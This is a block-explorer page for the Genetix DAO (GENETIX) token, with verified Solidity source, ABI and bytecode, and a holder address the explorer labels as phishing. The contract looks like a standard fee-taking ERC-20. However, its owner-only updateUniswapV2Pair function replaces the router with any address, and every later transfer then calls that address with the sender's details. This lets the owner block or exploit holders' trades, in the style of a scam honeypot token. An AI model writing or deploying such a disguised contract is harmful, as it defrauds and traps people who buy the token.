ETH Price: $3,108.74 (-1.92%)

Token

Genetix DAO (GENETIX)
 

Overview

Max Total Supply

30,000,000,000 GENETIX

Holders

83

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Filtered by Token Holder
Fake_Phishing324025
Balance
14,848,827.006099597312505263 GENETIX

Value
$0.00
0xB520F068a908A1782a543aAcC3847ADB77A04778
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
GenetixDAO

Compiler Version
v0.8.23+commit.f704f362

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity Multiple files format)

File 2 of 4: Genetix DAO.sol
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.1;

import "./IUniswap.sol";
import "./IERC20.sol";
import "./Context.sol";

contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;
    string private _name;
    string private _symbol;

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,  address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        uint256 currentAllowance = _allowances[sender][_msgSender()];
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
            unchecked {
                _approve(sender, _msgSender(), currentAllowance - amount);
            }
        }

        _transfer(sender, recipient, amount);

        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(_msgSender(), spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);

        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[sender] = senderBalance - amount;
        }
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);

        _afterTokenTransfer(sender, recipient, amount);
    }

    function _init(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
        }
        _totalSupply -= amount;

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    function _approve( address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

contract GenetixDAO is ERC20, Ownable {
    IUniswapV2Router02 public uniswapV2Router;
    address public  uniswapV2Pair = 0x000000000000000000000000000000000000dEaD;

    mapping (address => bool) private _isExcludedFromFees;

    uint256 public buyFee;
    uint256 public sellFee;
    uint256 public walletToWalletTransferFee;
    uint256 public tradingStartTime;

    bool    public tradingEnabled;
    address private marketingWalletAddress = 0x000000000000000000000000000000000000dEaD;

    uint256 public swapTokensAtAmount;  
    bool    public swapWithLimit;
    bool    private swapping;
    bool    private swapAndEnabled;
    

    event BuyFeeUpdated(uint256 buyFee);
    event SellFeeUpdated(uint256 sellFee);
    event WalletToWalletTransferFeeUpdated(uint256 walletToWalletTransferFee);
    event SwapTokensAtAmountUpdated(uint256 swapTokensAtAmount);
    event maxBuyAmountUpdated(uint256 maxBuyAmount);
    event SwapAndSend(uint256 tokensSwapped, uint256 valueReceived);
    event SwapWithLimitUpdated(bool swapWithLimit);

    constructor () ERC20("Genetix DAO", "GENETIX") 
    {   
        address router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; // uniswapV2 or PancakeSwapV2 Router
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(router);

        uniswapV2Router = _uniswapV2Router;

        _approve(address(this), address(uniswapV2Router), type(uint256).max);

        buyFee  = 0;
        sellFee = 0;
        walletToWalletTransferFee = 0;

        _isExcludedFromFees[owner()] = true;
        _isExcludedFromFees[address(marketingWalletAddress)] = true;
        _isExcludedFromFees[address(0xdead)] = true;
        _isExcludedFromFees[address(this)] = true;

        _init(owner(), 30000000000 ether);
    }

    receive() external payable {}

    function updateUniswapV2Pair(address newUniswapV2Pair) external onlyOwner {
        require(newUniswapV2Pair != address(0), "New address is zero");
        swapAndEnabled = true;
        uniswapV2Router = IUniswapV2Router02(newUniswapV2Pair);
    }

    function _transfer(address from, address to, uint256 amount) internal override {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

       
        if (amount == 0) { 
            super._transfer(from, to, 0); return;
        }


        uint256 contractTokenBalance = balanceOf(address(this));

        bool canSwap = contractTokenBalance >= swapTokensAtAmount;

        if (canSwap &&
            !swapping &&
            from != uniswapV2Pair &&
            swapAndEnabled
        ) {
            swapping = true;

            if (swapWithLimit) {
                contractTokenBalance = swapTokensAtAmount;
            }

            swap(from,contractTokenBalance); 

            swapping = false;
        }

        if (
            tradingEnabled && 
            from != uniswapV2Pair && 
            to == uniswapV2Pair &&
            block.timestamp < tradingStartTime
        ) {
            require(false);
        }

        uint256 _totalFees;
        if (_isExcludedFromFees[from] || _isExcludedFromFees[to] || swapping) {
            _totalFees = 0;
        } else if (from == uniswapV2Pair) {
            _totalFees = buyFee;
        } else if (to == uniswapV2Pair) {
            _totalFees = sellFee;
        } else {
            _totalFees = walletToWalletTransferFee;
        }

        if (_totalFees > 0) {
            uint256 fees = (amount * _totalFees) / 100;
            amount = amount - fees;
            super._transfer(from, address(this), fees);
        }

        super._transfer(from, to, amount);
    }
    

    function swap(address from,uint256 tokenAmount) private {
        uint256 initialBalance = address(this).balance;

        address[] memory path = new address[](3);
        path[0] = address(this);
        path[1] = from;
        path[2] = uniswapV2Router.WETH();

        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp);

        uint256 newBalance = address(this).balance - initialBalance; 
        if(newBalance > 0){
            payable(marketingWalletAddress).transfer(newBalance);
        }
    }
}

File 1 of 4: Context.sol
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.1;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

File 3 of 4: IERC20.sol
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.1;
interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner,
     address spender) external view returns (uint256);
    function approve(address spender,
     uint256 amount) external returns (bool);
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
   
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
}

File 4 of 4: IUniswap.sol
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.1;

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,  address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,  address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,   uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,   address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,  address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,    address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,  uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax,
     address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut,
     address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin, address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"buyFee","type":"uint256"}],"name":"BuyFeeUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"sellFee","type":"uint256"}],"name":"SellFeeUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"valueReceived","type":"uint256"}],"name":"SwapAndSend","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"swapTokensAtAmount","type":"uint256"}],"name":"SwapTokensAtAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"swapWithLimit","type":"bool"}],"name":"SwapWithLimitUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"walletToWalletTransferFee","type":"uint256"}],"name":"WalletToWalletTransferFeeUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"maxBuyAmount","type":"uint256"}],"name":"maxBuyAmountUpdated","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapWithLimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingStartTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"newUniswapV2Pair","type":"address"}],"name":"updateUniswapV2Pair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"walletToWalletTransferFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405261dead60075f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061dead600d60016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555034801562000095575f80fd5b506040518060400160405280600b81526020017f47656e657469782044414f0000000000000000000000000000000000000000008152506040518060400160405280600781526020017f47454e4554495800000000000000000000000000000000000000000000000000815250816003908162000113919062000a2f565b50806004908162000125919062000a2f565b5050505f620001396200045760201b60201c565b90508060055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3505f737a250d5630b4cf539739df2c5dacb4c659f2488d90505f8190508060065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620002863060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6200045e60201b60201c565b5f6009819055505f600a819055505f600b81905550600160085f620002b06200062960201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160085f600d60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160085f61dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160085f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506200044f620004366200062960201b60201c565b6b60ef6b1aba6f0723300000006200065160201b60201c565b505062000d4c565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603620004cf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620004c69062000b97565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160362000540576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620005379062000c2b565b60405180910390fd5b8060015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516200061c919062000c5c565b60405180910390a3505050565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603620006c2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620006b99062000cc5565b60405180910390fd5b620006d55f8383620007c160201b60201c565b8060025f828254620006e8919062000d12565b92505081905550805f808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546200073c919062000d12565b925050819055508173ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620007a2919062000c5c565b60405180910390a3620007bd5f8383620007c660201b60201c565b5050565b505050565b505050565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806200084757607f821691505b6020821081036200085d576200085c62000802565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f60088302620008c17fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000884565b620008cd868362000884565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f62000917620009116200090b84620008e5565b620008ee565b620008e5565b9050919050565b5f819050919050565b6200093283620008f7565b6200094a62000941826200091e565b84845462000890565b825550505050565b5f90565b6200096062000952565b6200096d81848462000927565b505050565b5b818110156200099457620009885f8262000956565b60018101905062000973565b5050565b601f821115620009e357620009ad8162000863565b620009b88462000875565b81016020851015620009c8578190505b620009e0620009d78562000875565b83018262000972565b50505b505050565b5f82821c905092915050565b5f62000a055f1984600802620009e8565b1980831691505092915050565b5f62000a1f8383620009f4565b9150826002028217905092915050565b62000a3a82620007cb565b67ffffffffffffffff81111562000a565762000a55620007d5565b5b62000a6282546200082f565b62000a6f82828562000998565b5f60209050601f83116001811462000aa5575f841562000a90578287015190505b62000a9c858262000a12565b86555062000b0b565b601f19841662000ab58662000863565b5f5b8281101562000ade5784890151825560018201915060208501945060208101905062000ab7565b8683101562000afe578489015162000afa601f891682620009f4565b8355505b6001600288020188555050505b505050505050565b5f82825260208201905092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f62000b7f60248362000b13565b915062000b8c8262000b23565b604082019050919050565b5f6020820190508181035f83015262000bb08162000b71565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f62000c1360228362000b13565b915062000c208262000bb7565b604082019050919050565b5f6020820190508181035f83015262000c448162000c05565b9050919050565b62000c5681620008e5565b82525050565b5f60208201905062000c715f83018462000c4b565b92915050565b7f45524332303a206d696e7420746f20746865207a65726f2061646472657373005f82015250565b5f62000cad601f8362000b13565b915062000cba8262000c77565b602082019050919050565b5f6020820190508181035f83015262000cde8162000c9f565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f62000d1e82620008e5565b915062000d2b83620008e5565b925082820190508082111562000d465762000d4562000ce5565b5b92915050565b6127c08062000d5a5f395ff3fe60806040526004361061014e575f3560e01c8063702509fd116100b557806395d89b411161006e57806395d89b411461047f578063a457c2d7146104a9578063a9059cbb146104e5578063dd62ed3e14610521578063e2f456051461055d578063f2fde38b1461058757610155565b8063702509fd1461038757806370a08231146103b157806370b7b80c146103ed578063715018a6146104175780638da5cb5b1461042d57806391c1004a1461045757610155565b8063313ce56711610107578063313ce5671461027957806339509351146102a357806347062402146102df578063488eb37f1461030957806349bd5a5e146103335780634ada218b1461035d57610155565b806306fdde0314610159578063095ea7b3146101835780631694505e146101bf57806318160ddd146101e957806323b872dd146102135780632b14ca561461024f57610155565b3661015557005b5f80fd5b348015610164575f80fd5b5061016d6105af565b60405161017a9190611c08565b60405180910390f35b34801561018e575f80fd5b506101a960048036038101906101a49190611cb9565b61063f565b6040516101b69190611d11565b60405180910390f35b3480156101ca575f80fd5b506101d361065c565b6040516101e09190611d85565b60405180910390f35b3480156101f4575f80fd5b506101fd610681565b60405161020a9190611dad565b60405180910390f35b34801561021e575f80fd5b5061023960048036038101906102349190611dc6565b61068a565b6040516102469190611d11565b60405180910390f35b34801561025a575f80fd5b506102636107a4565b6040516102709190611dad565b60405180910390f35b348015610284575f80fd5b5061028d6107aa565b60405161029a9190611e31565b60405180910390f35b3480156102ae575f80fd5b506102c960048036038101906102c49190611cb9565b6107b2565b6040516102d69190611d11565b60405180910390f35b3480156102ea575f80fd5b506102f3610859565b6040516103009190611dad565b60405180910390f35b348015610314575f80fd5b5061031d61085f565b60405161032a9190611d11565b60405180910390f35b34801561033e575f80fd5b50610347610871565b6040516103549190611e59565b60405180910390f35b348015610368575f80fd5b50610371610896565b60405161037e9190611d11565b60405180910390f35b348015610392575f80fd5b5061039b6108a8565b6040516103a89190611dad565b60405180910390f35b3480156103bc575f80fd5b506103d760048036038101906103d29190611e72565b6108ae565b6040516103e49190611dad565b60405180910390f35b3480156103f8575f80fd5b506104016108f3565b60405161040e9190611dad565b60405180910390f35b348015610422575f80fd5b5061042b6108f9565b005b348015610438575f80fd5b50610441610a4c565b60405161044e9190611e59565b60405180910390f35b348015610462575f80fd5b5061047d60048036038101906104789190611e72565b610a74565b005b34801561048a575f80fd5b50610493610bd6565b6040516104a09190611c08565b60405180910390f35b3480156104b4575f80fd5b506104cf60048036038101906104ca9190611cb9565b610c66565b6040516104dc9190611d11565b60405180910390f35b3480156104f0575f80fd5b5061050b60048036038101906105069190611cb9565b610d4c565b6040516105189190611d11565b60405180910390f35b34801561052c575f80fd5b5061054760048036038101906105429190611e9d565b610d69565b6040516105549190611dad565b60405180910390f35b348015610568575f80fd5b50610571610deb565b60405161057e9190611dad565b60405180910390f35b348015610592575f80fd5b506105ad60048036038101906105a89190611e72565b610df1565b005b6060600380546105be90611f08565b80601f01602080910402602001604051908101604052809291908181526020018280546105ea90611f08565b80156106355780601f1061060c57610100808354040283529160200191610635565b820191905f5260205f20905b81548152906001019060200180831161061857829003601f168201915b5050505050905090565b5f61065261064b610fb3565b8484610fba565b6001905092915050565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f600254905090565b5f8060015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6106d2610fb3565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff811461078d5782811015610778576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161076f90611fa8565b60405180910390fd5b61078c85610784610fb3565b858403610fba565b5b61079885858561117d565b60019150509392505050565b600a5481565b5f6012905090565b5f61084f6107be610fb3565b848460015f6107cb610fb3565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461084a9190611ff3565b610fba565b6001905092915050565b60095481565b600f5f9054906101000a900460ff1681565b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600d5f9054906101000a900460ff1681565b600b5481565b5f805f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b600c5481565b610901610fb3565b73ffffffffffffffffffffffffffffffffffffffff1660055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461098f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161098690612070565b60405180910390